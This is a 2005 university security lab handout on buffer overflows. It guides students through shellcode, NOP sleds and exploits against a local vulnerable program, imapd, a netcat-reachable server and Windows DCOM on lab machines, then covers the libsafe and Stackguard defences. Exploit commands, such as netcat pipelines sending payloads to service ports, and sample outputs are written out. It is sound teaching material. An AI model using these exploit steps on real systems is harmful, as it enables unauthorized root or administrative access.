Lab 4 Buffer Overflow

advertisement
ECE4112 Internetwork Security
Lab 4: Buffer Overflows
Date Issued: September 20, 2005
Due Date: September 27, 2005
Last Edited: 10/24/2005
Lab Goal
This lab will introduce you to the memory stack used in computer processes and
demonstrate how to overflow memory buffers in order to exploit application security
flaws. You will then execute several buffer overflow attacks against your Linux and
Windows XP machines in order to gain root or administrative access using application
vulnerabilities.
Pre-Lab
The following readings are a must to understand this lab and complete it in a timely
manner.
1. Carefully read the entire article Smashing the Stack for fun and profit by Aleph One. It
is essential that you have a thorough understanding of this article before you attempt
these attacks, and although the author’s computer system differs from ours, it will be
useful as a reference during the lab.
Note: Correction to the Aleph One paper – For example3.c, Aleph One says,
“We can see that when calling function() the RET will be 0x8004ab. The next instruction
we want to execute is the one at 0x8004bx. A little math tells us the distance is 8 bytes.”
The number should be 10 bytes instead of 8 bytes.
2. Read the article at:
http://www-106.ibm.com/developerworks/linux/library/l-sp4.html
and answer the question:
PLQ1: According to the article, what are the common problems with C/C++ which
allow buffer overflows?
3. For this prelab section, you will need to use a computer which has internet access and a
java enabled browser.
a. Go to the website: http://nsfsecurity.pr.erau.edu/bom/
b. Scroll down to the middle of the page.
c. We will be using the online demos of buffer overflow.
d. Read the section on “How to use the Demo applets” before beginning.
e. Complete the 4 demos below, in the order listed. Be sure to use the “step” feature and
always read the helpful text in the lower left. The read-only areas in memory (top-right)
have been color coded with the C functions. You will see that the stack is also color
1
coded as it starts growing (lower right) – be sure you understand the stack manipulation
before and after function calls.
Note: When asked for input, type in a long string and watch it erase data in the stack
memory.
Background
Although computer programs are frequently written in English-based user-friendly
languages such as C, they must be compiled to an assembly language built for the
machine on which they will be executed. The assembly language has much fewer
commands than C, and these commands are much less varying in structure and less
obvious semantically. Commands are stored in memory so that each is referenced by its
location in memory rather than its line number in the code. Commands are executed
sequentially, and functions are executed by jumping to a particular memory location,
continuing sequential execution, and jumping back at the end of the function.
A tutorial describing conversion from C code to x86 assembly can be found at:
http://linuxgazette.net/issue94/ramankutty.html
When a computer process is executed, it gains access to a portion of the computer’s
memory system. In the lower set of addresses of the allocated memory, the compiled
assembly instruction set is placed so that the computer can execute these instructions
directly from memory. This part of memory is generally flagged as read-only, and
attempting to modify it results in a segmentation fault. Segmentation faults can occur for
other reasons as well, such as if an invalid instruction is executed. At a higher portion of
addresses, variables are allocated and stored. Whenever a process saves some data to
memory (e.g. int a=4), they are placed in this region.
Finally, the highest portion of addresses contains the memory stack. The stack helps
coordinate the hierarchical execution of functions within applications. When a function is
called, a variable known as the frame pointer is pushed onto the stack, which references
the memory locations of variables local to the function. Next, since a function is executed
by a jump from a different location in memory, a return address is pushed onto the stack
so that the computer knows where in memory to return once the function has been
completed. Finally, when a function is passed variables (e.g. myfunc(a,b,c)) these
variables are also placed on the stack.
Theoretically, stack manipulation should be accomplished entirely by the process, which
allocates and sets pointers and variables at appropriate stages of execution, such as
function calls. The key to buffer overflow attacks is to maliciously manipulate the data in
the stack. By changing the return pointer, for example, it is possible for the process to
jump to a memory location containing user data rather than the correct location in the
instruction set. If the user data is crafted to include malicious assembly commands, such
as a backdoor, these will be executed.
2
Finally, we’ll be taking a look at heap-overflows. Although heap overflows can be
exploited just as easily as stack overflows, they’re much less known. System
administrators often implement patches and precautions to prevent stack overflows but
leave the heaps completely open to attacks! Although we won’t be doing any exercises in
the lab about heap overflows, more information about it has been included as an appendix
(Appendix B).
Lab Scenario
For most of the lab, you will be using only your Red Hat 7.2 host machine. You will need
to use your Redhat 7.2 Copy virtual machine for remote buffer overflow attacks and you
will use your Windows XP virtual machine in an exercise to see how contemporary
attacks compromise windows systems.
Section I – Experimentation with “Smashing the Stack for fun
and profit” by Aleph One
Connect to Network Attached Storage, and copy the file Lab4/stacksmash.tgz to your
Red Hat 7.2 machine. Decompress it with the command:
tar zxvf stacksmash.tgz
Enter the stacksmash directory, and type make to compile. To recompile during the rest
of this section, follow the instructions specific to the exercise or simply type make again.
Exercise 1: The Stack Region
Source file: example1.c
For this section, the make file has compiled the source to assembly code using the
command:
gcc –S –o example1.s example1.c
Open the original c file and the assembly (.s) file in text editors and observe how the
assembly code maps to the c source. The assembly code will be slightly different than
what appears in the paper, because Aleph One’s computer is different from ours.
Draw a diagram of the process memory at the time that function is called.
Exercise 2: Buffer Overflows
Source file: example2.c
The make file has compiled our second example using the command
gcc –o example2 example2.c
Observe the source code then execute the binary by typing ./example2
What are your results? Why?
3
Exercise 3: Return Pointer Redirection
Source file: example 3.c
Observe the source file. This exploit attempts first to create a pointer (ret) to the
function return address, then modify the return address value (*ret). At the end of the
function call, the function will return to an incorrect address.
The purpose of this exercise is to attempt to redirect the pointer and skip the “x=1”
line, so that the example prints “0.”
Read the paper carefully and try to understand how the exploit works. Use the
following commands to view the assembly code for the example:
gdb example3
disassemble main
Observe the assembly code memory addresses to determine the correct change of
the return address value in order to skip the x=1 line. Modify line 7 of the code
appropriately.
Next, modify the return variable pointer (line 6 of example3.c). The location of
the return address pointer in memory cannot be calculated explicitly, because it is
dependent on your memory stack. You must therefore use trial and error to
determine the offset between buffer1 and the return pointer. As a guide, remember
that the offset must be at least the size of buffer1 and the frame pointer, and that
although the offset is in bytes, it must be an integral number of words.
Record the necessary code changes.
Exercise 4: Creating a Shell
Source file: shellcode.c
Shellcode.c executes a shell within its process, which we can then use to execute
other system commands. Observe the source file.
Type the following:
gcc –o shellcode –ggdb –static shellcode.c
gdb shellcode
disassemble main
diassemble__execve
Make sure you have a clear understanding of the assembly code, using the paper
as a guide.
We are going to use this code to execute a shell from a victim program. First,
however, we want to make sure that after our shell code is executed our process
4
quits. Otherwise, if we were executing our code from inside data memory, the
computer could continue to execute data in memory, causing a core dump or
segmentation fault. We should view the assembly translation of the exit command
so that we can use this to stop the execution of our shell code after the __execve
call. This can be done by observing exit.c.
gcc –o exit –ggdb –static exit.c
gdb exit
disassemble _exit
In this case, the exit function is operating by pushing 0x1 to %eax and the exit
code (%edx) to %ebx.
Now, we must add a hex representation of the binary code to our program’s data
memory so that we can execute the binary code at runtime. First, let’s observe the
assembly code for our task. In separate windows, open the disassembled
shellcode, the disassembled exit, and the source file shellcodeasm.c. Notice that
the essential components of shellcode and exit have been placed into
shellcodeasm. We have changed our error code to a static zero.
Type:
gcc –o shellcodeasm –g –ggdb –static shellcodeasm.c
gdb shellcodeasm
disassemble main
to view your code.
Our intentions are now to copy these assembly commands into memory so that we
can have a process execute them. To do this, you must see the binary machine
code representations of the assembly code. Type x/bx main to see the
representation of the first line. For any other line (e.g. main+3) simply include the
offset (e.g. x/bx main+3).
We can now test our shell code by placing this machine code in data memory and
executing it. Observe testsc.c. The machine code values determined from x/bx
above have been placed in the character array shellcode. We then change the
return pointer to point to the beginning of this array so that the data is executed.
gcc –o testsc testsc.c
./testsc
After running this, you should have access to the shell prompt
$ exit
This exploit worked, but because we are storing it as an array of characters, the
null character (\x00) in our string could potentially cause problems. To solve this
problem, we rewrite the assembly code to remove all null bytes
5
(shellcodeasm2.c). Using the same process as above, we then extract the machine
code once again, this time without any null characters for our string.
gcc –o shellcodeasm2 –g –ggdb shellcodeasm2.c
gdb shellcodeasm2
gcc –o testsc2 testsc2.c
./testsc2
You should now have a shell
$ exit
Explain why it was important to make this change to eliminate NULL
characters.
How did we modify the assembly code to remove null characters? (What
simple ways did we avoid using 0x00?)
Exercise 5: Writing an Exploit
Source file: exploit1.c
Observe the source code for this exercise. As in the previous case, we have copied
the machine code to execute a shell to the data memory. Next, we repeatedly copy
the memory address of this code, overflowing the memory stack and overwriting
the return address to our buffer location.
gcc –o exploit1 exploit1.c
./exploit1
You should now have a shell
$ exit
In all of the previous examples, we have created our shell by manipulating the
source code. When executing a buffer overflow attack, however, the hacker does
not have access to the source code itself. We will now try to execute an attack on
the program vulnerable.c.
The program vulnerable can be exploited using the buffer overflows seen above.
Look at the source code for this file. You can see that this application is
vulnerable because it copies an input value, of arbitrary length and at the
discretion of the user, to memory without any bound check. The buffer is only
512 bytes long, so the user can overflow this buffer by setting more than 512
bytes and manipulating other values, such as the return pointer.
exploit2 is an attempt to gain access to a shell with root privileges by running
vulnerable. The exploit will create a buffer of data that includes the binary shell
code, and then contain a pointer value written many times, one of which will
hopefully overwrite the return pointer. The pointer value will hopefully contain
the location of the beginning of the buffer, so that the shell code will then be
6
executed. exploit2 will store this to an environment variable ($EGG) which we
will then pass as input to our vulnerable program.
Unfortunately, unlike in our previous examples, we do not know exactly where in
memory vulernable will place our buffer. We therefore must manually set the
address we wish to place into the return pointer by entering an offset: our guess as
the distance from the stack pointer to our malicious code. We also must determine
a size of a buffer to create to attempt to overwrite the return pointer. The buffer
size created by exploit2 must be large enough to overflow the return pointer, but
small enough to avoid a segmentation fault.
Using the instructions below and your knowledge of buffers, attempt to use
exploit2 to create a shell. If you do not receive a shell or you receive an error
message, you have failed and should attempt a different buffer size and offset. If
you are not successful after ten tries, record your attempted values and why
you chose them, and continue with the lab. You will not lose credit for not
succeeding in this exploit as long as you justify your choices for buffer sizes and
offsets.
./exploit2 [buffersize][offset]
./vulnerable $EGG
exit (if you succeeded in creating a shell)
exit (to leave a shell that exploit2 has spawned)
You may have realized that it is fairly hard to guess the correct exact offset to
execute the shell code. The next variation includes a string of NOP instructions to
simplify redirection.
Observe the file exploit3.c. Rather than placing our shell code at the beginning of
our buffer, we now fill the first half of the buffer with NOPs, or instructions that
have no effect, and start our shell code halfway through the buffer. Modify your
buffer size and offset, repeating until your exploit succeeds.
./exploit3 [buffersize][offset]
./vulnerable $EGG
exit (if you succeeded in creating a shell)
exit (to leave a shell that exploit3 has spawned)
Record your successful offset and explain why this exploit was easier than
exploit2.
Now that you have exploited vulnerable.c, re-open the file and observe where exactly the
buffer overflow has taken place. Add/change the code in the file to remove the
vulnerability, then re-run “./vulnerable $EGG”
7
9) What changes did you make to vulnerable.c?
Sections II – A Real World Exploit
imapd is a mail server program released by the University of Washington. This is a beta
version that is vulnerable to buffer overflows. An exploit on imap is particularly
dangerous because the daemon can be run as root, therefore anyone who compromises
the application has root access to the entire system. The following links give more
information about this exploit.
-
CERT Advisory CA-1997-09 and CA-1998-09
http://www.cert.org/advisories/CA-1997-09.html
http://www.cert.org/advisories/CA-1998-09.html
-
Bugtraq Mailing List – this link gives detailed explanation of the exploit
http://www.securityfocus.com/archive/1/9929
-
Imapd Buffer Overflow Discussion
http://www.securityhorizon.com/whitepapers/hvah/imapd.html
http://www.washington.edu/imap
Running imapd exploit on the same machine as the imapd server:
Open RedHat 7.2 which will be used for this exploit. Connect to the Network
Attached Storage and copy Lab4/imapd_exploit.tgz to your local machine.
Extract the file by typing:
tar zxvf imapd_exploit.tgz
then enter the directory by typing
cd imapd_exploit
View the network services currently running by typing
nmap localhost
Imap should not be running at this time. Install imapd and netcat by typing
make
make install
make restart
Rerun nmap to make sure that imap2 is now running on the machine. Note the port on
which imap2 is running.
8
The exploit code needs netcat (/usr/sbin/nc, installed above) and cat in combination to
perform the buffer overflow. Netcat is the swiss army knife of the Internet, and has
many functions including the ability to send streams of data to a destination.
The exploit code makes use of a string of 942 NOP instructions and allows the user to
input an offset from which to attempt the attack.
To run the exploit, execute the following command:
(./imapd-ex offset; cat) | nc server port
server is the server to be attacked, or in this case localhost.
port is the port number to be attacked, and is the port of imap2.
offset is the offset from which to attempt the attack. Keep in mind the 942 NOP
instructions. A sample offset given by Xinzhou is 3000.
After running the exploit, type ls . If you receive a list of files, you have successfully
exploited imap2!
Running imapd exploit from a remote machine:
Copy the imapd-ex file created in the above step to your Red Hat 7.2 Copy machine,
or recopy the tar file from NAS and recompile. Execute imapd-ex from the RedHat
7.2 Copy and use your Red Hat 7.2 IP address instead of localhost.
Again type ls to view files on your Virtual Machine without logging in. Try typing
other commands, such as /sbin/ifconfig, /usr/sbin/adduser, and whoami to see the
privileges you have gained through the exploit. If a hacker were able to gain root
privileges, he or she would have complete control over the victim.
Record the successful offset used and the privileges gained
Section III – Common Vulnerabilities
Introduction:
In order to further experiment with buffer overflows and their effects, four programs have
been created with specific types of vulnerabilities. Copy the file Lab4/Vulnerable.tgz to
your Red Hat 7.2 machine and then extract the file. We employ the last exploit program
from Section I to attack the vulnerable programs.
Type make to compile the programs: adjacent, cmdline, input, and remote. The Aleph
One exploit has also been included, and has been entitled exploit.
Buffer Overrun:
Before getting into the more detailed stack smashing attacks we will show a simple buffer
overrun vulnerability. The source file adjacent.c (compiles to adjacent) has two adjacent
9
buffers, storeddata and userinput, both 16 characters (or bytes) long. If you read the
source file, you will notice that both buffers have their contents unconditionally set to
zero. Occasionally you may encounter a dirty stack frame and your buffers will not be
completely empty. The string function bzero( buffer_pointer, buffer_length) is used to
clear out a buffer.
The program will print out the contents of the two buffers to show you what is in them.
The buffer storeddata will always contain the string "abcdefghijkl" . In the source file
you will notice an explicit null character, '\0', is added to the end of the string. Without a
terminating null character, most string functions will not stop at the end of the string's
buffer. This is a critical piece of information.
A buffer overrun occurs when a string function reads past the end of a string (or
character) buffer. In this example, you will see that the program does not allow the user
to input more data into storedata than the size of the array, 16. Logically it is correct.
Now lets try out the "adjacent" program.
1. Enter a string of some length less than 16 (not including the newline or carriage
return) by typing
./adjacent
and then at the prompt enter your own string. The final print statement will show
you the proper length and contents of the each buffer on the screen. Note this
works just as you expect.
2. Enter a string of length exactly 16 (not including the newline or carraige return)
In the final print statement, you will notice that inputbuffer is now 28 characters
long. storeddata remains the same length and its contents are untouched. How
can inputbuffer have 28 characters in it, it is only allowed 16?
3. enter a string of length greater than 16 (not including the newline or carriage
return)
In the final print statement you will notice that inputbuffer is again 28 characters
long and storeddata is untouched.
What is the cause of this behavior?
Modify adjacent.c to remove this “undesired” behavior
The Exploit Program:
This program is similar to the final exploit of Section 1, but has been reformatted for
legibility with comments added to it.
In Section 1, we used the exploit program to overflow a relatively large buffer, so we
were able to copy all of the shell code to this buffer and then copy the return address
afterwards to the return pointer. The exploit program does not work very small buffers,
because the NOP sled or shellcode itself would overwrite the return instruction pointer.
10
In order to target a small buffer you should instead start with the memory locations,
followed by the NOP sled leading into the shellcode.
Open the include file stackinfo.h, which contains a simple macro called SHOW_STACK
and a function called inspect_buffer. The two combine to provide users with information
about the original saved return instruction pointer and let one see if the return instruction
pointer will redirect to somewhere in the NOP sled.
SHOW_STACK prints:



The value of the Stack pointer register
The value of Frame pointer register and the value that the Frame pointer register
points to (which is the saved frame pointer of the previous stack)
The memory location of the saved return pointer and the memory location that the
saved return pointer points to.
Example:
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
The function inspect_buffer takes as input the buffer containing attack code. If you don't
run exploit before this function is called, you are very likely to crash the example
programs because they search for the environment variable called EGG. inspect_buffer
will report back to the user what memory locations contain NOPS so as to help us find if
the return instruction pointer points to somewhere in the NOP sled. This may not be the
case if we have not over written the return instruction pointer or have not put our buffer
into the stack at a good point.
Here is some sample output from inspect_buffer:
Targetting range bffff775 to bffff88e
Stack Overwrite from bffff8c1 to bffff9d5
bffff88e <= bffff898 < bffff775?
[280 byte range]
[280 byte range]
281 <= 291 < 0
The line
Targetting range <lower address> to <high address> [<byte range>]
reports the lower and upper memory address of the NOP sled and the range of bytes that
it spans. Now we know where the NOPS are located.
The line
Stack Overwrite from <lower address> to <high address> [<byte range>]
shows the range of address that the memory redirection address overwrites. Now we
know where the desired return address values are written. We want one of these locations
to be the stack return address memory so that when the stack goes to the return address
memory location, it will get a value the hacker wants it to use instead of the good original
value that was in that memory location.
11
The line
Upper Address<= Target < Lower Address? Upper bound <= Target < 0
shows the upper and lower memory address for the NOP sled. The NOP sled high
memory location is on the left, the return address that the exploit program has identified
for us to use and overwrite with is in the middle, and the right hand value is the lower
memory address that contains NOPS. We want the middle value to be in between the
other two values. (Note that we actually want the less than signs reversed: upper address
should be larger than target should be larger than lower address) If that is the case then
the return instruction value points into the NOP sled as desired by the hacker.
The part after the question mark has the lower address subtracted from both values to
give you an idea if your return address value is within this desired range.
One condition for this whole thing to work is that the return address must point to our
NOP sled. A second condition that must also be met is that the return address must have
been overwritten with that value. To see if we did in fact overwrite the return address we
use the values from show_stack both before and after the exploit program and the actual
buffer overflow have occurred. If the value of the return instruction memory location is
the same both before and after, we have failed to overwrite. We need to either change the
buffer size we are writing into the stack or the offset where the buffer is written into the
stack. As an example of a failure:
===========================
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc [40046507]
===========================
As an example of a success:
===========================
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78]
===========================
Task 1: Use a buffer overflow to exploit command line vulnerabilities
Cmdline is very similar to the first program we observed, vulnerable. A value of arbitrary
size from the command line is copied to a buffer which is only 512 bytes. Cmdline differs
in that it displays a significant amount of extra information about the stack at runtime.
Because the program includes new functions and function calls, the results will not be
identical to that of vulnerable. The functions will, however, give extra data that will aid
in the analytical selection of buffer sizes and offsets, rather than simply using trial and
error.
12
Example of exploiting cmdline:
Observe a sample run of cmdline using the default buffer size and offset.
[root@fred lab]# ./exploit
Using address: 0xbffffa88
[root@fred lab]# ./cmdline $EGG
Inspect environment variables
Targetting range bffffc95 to bffffd7c
Stack Overwrite from bffffdad to bffffe91
bffffd7c <= bffffa88 < bffffc95?
[230 byte range]
[232 byte range]
231 <= -525 < 0
Inspect argument variables
Targetting range bffff83d to bffff924
Stack Overwrite from bffff955 to bffffa39
bffff924 <= bffffa88 < bffff83d?
[230 byte range]
[232 byte range]
231 <= 587 < 0
===========================
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
===========================
Inspect stack variables
Targetting range bffff4c0 to bffff5a7
[230 byte range]
Stack Overwrite from bffff5d8 to bffff6bc
[232 byte range]
bffff5a7 <= bffffa88 < bffff4c0?
231 <= 1480 < 0
[root@fred lab]# exit
This did not result in the shell we desired. Let’s observe why.
In the output, the value 0xbffffa88 is the target for the NOP sled. Next we see some
information about the memory contents.
The ENV part of the stack contains our environment variable, $EGG.
Inspect environment variables
Targetting range bffffc95 to bffffd7c
Stack Overwrite from bffffdad to bffffe91
bffffd7c <= bffffa88 < bffffc95?
[230 byte range]
[232 byte range]
231 <= -525 < 0
NOPS have been found in the address range of bffffc95 to bffffd7c
We are not overwriting the stack in this part, so ignore the second line.
The third line tells us that the place where the NOP sled was found (which is in $EGG) is
–525 locations away from the local stack pointer. Since this is the environment part of the
stack we do not really care where the NOP sled is in the environment part of the stack,
we just wanted the program to put it in there somewhere so we can copy it later.
The next part of the example output is from the ARGV part of the stack, to which we
have copied $EGG.
Inspect argument variables
Targetting range bffff83d to bffff924
Stack Overwrite from bffff955 to bffffa39
bffff924 <= bffffa88 < bffff83d?
[230 byte range]
[232 byte range]
231 <= 587 < 0
Here we see the location of the copy of $EGG’s NOP slide.
The last line tells us that the target address bffffa88 does not fall within the NOP sled that is
in the argument part of the stack.
The output now shows us
===========================
13
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
===========================
The important values here are the contents of the next instruction pointers. The next
instruction which is contained in memory location bffff6cc has the value of [40046507] both
before and after our copy. The next instruction has not changed, therefore we have not
successfully overwritten the next instruction pointer.
The output now shows us some information from the Stack “part of the stack.”
Inspect stack variables
Targetting range bffff4c0 to bffff5a7
Stack Overwrite from bffff5d8 to bffff6bc
bffff5a7 <= bffffa88 < bffff4c0?
[230 byte range]
[232 byte range]
231 <= 1480 < 0
We have overwritten our return address in the stack from bffff5d8 to bffff6bc, but we know
from above that we did not change the return address pointer, so it is not in this range.
The return address we have written, bffffa88, is outside of our NOP sled, bffff4c0 to bffff5a7.
We have two problems at the moment with the values we are using in the exploit
program. First, we did not overwrite the return instruction value. Second, the address we
overwrote many times would not place us on our NOP slide.
Let’s first try to fix the first problem of not overwriting the next instruction pointer value.
We do this by adding an argument to use a buffer size of 612 instead of the default 512.
(After all the buffer we are trying to overflow is 512 bytes in size).
Now we try again by doing the commands
./exploit 612
./cmdline $EGG
[root@fred lab]# ./exploit 612
Using address: 0xbffffa78
[root@fred lab]# ./cmdline $EGG
….
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78]
===========================
Inspect stack variables
Targetting range bffff400 to bffff519
[280 byte range]
Stack Overwrite from bffff54c to bffff660
[280 byte range]
bffff519 <= bffffa78 < bffff400?
281 <= 1656 < 0
Once again we did not get the shell we wanted . We did get a segmentation fault and
noticed that the next instruction changed, so we successfully overwrote the instruction
pointer. Unfortunately what we overwrote did not point to our NOP sled.
We can see from the last line that we have missed were we want to be by about 1500 and
thus need to re-run the “./exploit” with an offset to move where we start writing our NOP
sled.
Now we try again by doing the commands
./exploit 612 1500
./cmdline $EGG
14
===========================
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffff48c], Next Instruction:bffff60c[bffff48c]
===========================
Inspect stack variables
Targetting range bffff400 to bffff519
[280 byte range]
Stack Overwrite from bffff54c to bffff660
[280 byte range]
bffff519 <= bffff48c < bffff400?
281 <= 140 < 0
Note we did get the shell we were after.
Do this exercise yourself, identifying a correct buffer size and offset. If the exploit runs
properly, you should have access to the shell. You will not have a prompt but you will be
able to do commands like ls. Typing exit will get you out of the shell and back to prompt.
A second exit will get rid of the exploit process that is running
Copy your output to a text file using cut and paste and turn in the successful output
proving you were able to create a shell with this overflow.
Modify cmdline.c to remove this vulnerability
Task 2: Use buffer overflow to exploit user input vulnerabilities
Observe the source code for input.c. This program, similar to adjacent, allows a user to
input a set of text. You can use the exploit program to send the $EGG environment
variable to input with the command:
./exploit [buffersize][offset]
(echo $EGG;cat) | ./input
If this exploit runs properly, you should have access to the shell at the end.
Example:
[root@fred lab]# ./exploit 512 900
Using address: 0xbffff6e4
[root@fred lab]# (echo $EGG;cat) | ./input
Inspect environment variables
Targetting range bffffc99 to bffffd80
Stack Overwrite from bffffdb1 to bffffe95
bffffd80 <= bffff6e4 < bffffc99?
[230 byte range]
[232 byte range]
231 <= -1461 < 0
Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507]
please input a 16 character string:
Inspect stack variables
Targetting range bffff6d0 to bffff7b7
[230 byte range]
Stack Overwrite from bffff7e8 to bffff8cc
[232 byte range]
bffff7b7 <= bffff6e4 < bffff6d0?
231 <= 20 < 0
Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507]
Notice we did not overwrite the next instruction pointer since its value did not
change before and after. Thus we need to increase the buffer size from 512 to
something larger so as to overwrite it. Note however, we were successful in the
exploit choice of a return address pointing to inside the NOP sled.
15
Record the buffer size and offset used to successfully exploit input.
Task 3: Use buffer overflow to exploit network vulnerabilities
Observe the source code for remote.c. In this application, the function gets causes
information sent over the network to the application’s listening port to be copied to
memory. We will use netcat to send our malicious $EGG input.
Open a terminal and run:
./remote 4200
(4200 is the port on which that the remote server will be running)
In a second terminal run:
./exploit [buffersize] [offset]
(echo $EGG;cat) | nc localhost 4200
If this exploit runs properly, you should have access to the shell at the end (not
necessarily with a prompt). You may have to change the buffer size and the offset values
in the exploit call.
Record your successful buffer size and offset values.
Copy your output to a text file using cut and paste and turn in the output and the
output of a successful run of whoami from the exploited shell prompt.
Section IV – A Contemporary Vulnerability
Buffer overflow vulnerabilities are extremely common in modern computing. In the final
section, we will observe a vulnerability that exists in Windows 2000 Serivce Packs 0-4
and Windows XP Service Packs 0-1. The vulnerability was eventually patched in August,
2003.
The vulnerability makes use of the Windows DCOM RPC service, which is run
automatically with Administrator privileges on both TCP and UDP port 135. The service
is designed to allow computers to request services from each other, however it does no
size checking on the input buffer.
Connect to Network Attached Storage, and copy the file Lab4/dcom.c to your Red Hat
7.2 machine. Compile dcom with:
gcc –o dcom dcom.c
Now run
./dcom
to see your command line options.
16
Your target will be your Windows XP Machine. It is currently not running any service
packs (SP0).
Run the exploit, and if you receive a command prompt execute several commands such
as dir and cd. Copy your results to a text file and include it with your report.
After you exit, this exploit will cause Windows XP to crash. Take a screenshot of your
crashing system and include it with your report.
(Note: depending on the status of your Windows XP system, it is possible that this
vulnerability will cause XP to crash immediately. If so, allow it to reboot and try again).
For a very long time, this exploit could be used to install a backdoor and/or crash any
Windows 2000 or Windows XP machine remotely. What steps could a system
administrator take to prevent this problem?
Section V – Libsafe – A Stack Buffer Overflow Preventive
Measure
Probably at this point, you might be thinking that the only way to prevent such stack
buffer overflow attacks from happening is to just pray that the original developer
properly checked his buffers in his code. Considering that in reality this is usually not the
case, the idea of preventing buffer overflow exploits from happening seems hopeless.
Well, actually, that is not true. There are preventive measures that are available and being
developed now. Traditionally, preventive measures on Linux have come in the form of
kernel patches. These patches usually monitor system calls in the operating system and
try to stop unusual or suspicious system calls made by potentially malicious code. In this
case, one will have to recompile the kernel properly with the patch and hope it works out.
For the purposes of this lab, it would seem unreasonable to make a copy of a kernel and
wait for a long time to recompile the kernel just to see a buffer overflow exploit
prevented. Instead, we will use another type of preventive measure. We are going to
install libsafe, a dynamically loadable library that does not require any recompilation.
Connect to the Network Attached Storage, and copy the rpm package libsafe-2.016.i386.rpm from the Lab4 folder to your Red Hat 7.2 machine. Now install the package
by opening a terminal window and typing the following command:
 rpm -ivh libsafe-2.0-16.i386.rpm
There should be no problems installing this package. Now we are going to use Mozilla to
take a look at the html man page on libsafe. Click on the main menu button on the bottom
panel in the bottom left corner (the red fedora hat) and then highlight “Internet” and then
select “Web Browser.” This should bring up the web browser Mozilla. Now click on
Mozilla’s File menu and select “Open File.” Now type in /usr/doc/libsafe-2.0/doc/ in the
“File Name” text box and hit enter. You should see a file called libsafe.8.html, double-
17
click it to open the file. The libsafe man page should look like what is in Figure 1, and
now take the time to read it. (It is quite short.)
Figure 1. The html libsafe man page.
This is the basic lesson you should get out of the man page. Libsafe is a library that
protects against stack buffer overflow exploits by intercepting all function calls made to
library functions that are known to be vulnerable (such as strcpy, which we have
exploited in this lab). It executes a substitute version and checks to see if a buffer
overflow will occur within the current stack frame. If the buffer overflow will overwrite
the return address with a value that will direct execution of the program outside the
current process stack frame, then most likely a stack buffer overflow attack is being
executed, and libsafe will stop it. If you have been paying attention to what has been
going on in the lab, this is exactly the type of exploit we have been executing.
(If you are interested in a more detailed explanation of how libsafe works, it is
recommended that you go Avaya’s Lab Research website at
http://www.research.avayalabs.com/project/libsafe/ and click on the PDF files under the
“Presentations & Publications” section at the bottom of their webpage. These papers are
much shorter than Aleph One’s paper, and they should help reinforce understanding the
type of exploit we have been executing in this lab.)
18
So let’s see libsafe prevent such an exploit. In your terminal window, go back to the
directory where your exploit and cmdline programs are that you have executed previously
in this lab. Go ahead and run the exploit and the cmdline programs again like you did
previously in Section III – Task 1. Remember, however, to undo the changes you made to
the code. If you don’t, there will be no vulnerability for Libsafe to guard. Libsafe should
have stopped the exploit from being executed, and the output on your terminal should
look similar to Figure 2. Copy this output to a text file and turn it in with your lab.
[root@group24-4893 lab]# ./exploit 612 100
Using address: 0xbffff6c4
[root@group24-4893 lab]# ./cmdline $EGG
Inspect environment variables
Targetting range bffff970 to bffffa89
Stack Overwrite from bffffabc to bffffbd0
bffffa89 <= bffff6c4 < bffff970?
[280 byte range]
[280 byte range]
281 <= -684 < 0
Inspect argument variables
Targetting range bffff674 to bffff78d
Stack Overwrite from bffff7c0 to bffff8d4
bffff78d <= bffff6c4 < bffff674?
[280 byte range]
[280 byte range]
281 <= 80 < 0
===========================
Stack:bffff300, Frame:bffff508[bffff528], Next
Instruction:bffff50c[420158d4]
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/tools/lab/cmdline.
uid=0 euid=0 pid=2362
Call stack:
0x40015871 /lib/libsafe.so.2.0.16
0x4001597a /lib/libsafe.so.2.0.16
0x8048834
/home/tools/lab/cmdline
Figure 2. Libsafe
preventing a stack buffer overflow exploit in cmdline.
0x420158cf
/lib/i686/libc-2.2.93.so
Overflow caused by strcpy()
Killed
Libsafe
apparently detected our attempt to write across the stack boundary which is
we[root@group24-4893
needed to do to rewritelab]#
cmdline’s return address in order to start executing our
what
malicious code. You should notice also that it determined that the overflow was caused
with the library function strcpy, which is at the center of our exploit. This is pretty nifty.
However, consider some of the pros and cons of this strategy. Libsafe concentrates
monitoring on a system-wide level through the library space, not the kernel or user space
of the operating system. This is nice in the sense that this solution does not require
recompilation of the kernel or directly interfering with programs that a user is trying to
run. However, libsafe can only determine exploits that use the list of library functions that
it knows have vulnerabilities to stack buffer overflows. If the attacker is able to create a
stack buffer overflow exploit without using libsafe’s list of vulnerable library functions, it
is possible that the libsafe will never detect the exploit and the attack has a good chance
of succeeding. Therefore, while libsafe is a nice solution that can easily implemented, it
still does not replace the real prevention of buffer overflow attacks, which is properly
checking buffers in the code of programs.
19
That is all. Remember to copy the libsafe output to a text file, and turn it in with your lab.
Also, go ahead and uninstall the libsafe library by executing the following command:
 rpm -e libsafe
There are other utilities available which can be used for preventing buffer overflows. One
such utility is Stackguard (http://www.immunix.org/gcc-2.96-113_SGb1.src.rpm) which
protects your programs from buffer overflows by compiling them with compilers which
take special action to protect the stack during run time. You compile your program using
these compilers and depending on the programs implementation will protect the stack
from stack-smashing attacks. Stackguard inserts an extra field on the stack called a
“canary” next to the return pointer on the stack. It uses the canary to determine if the
return pointer has been changed; if the canary is changed then the stack has been
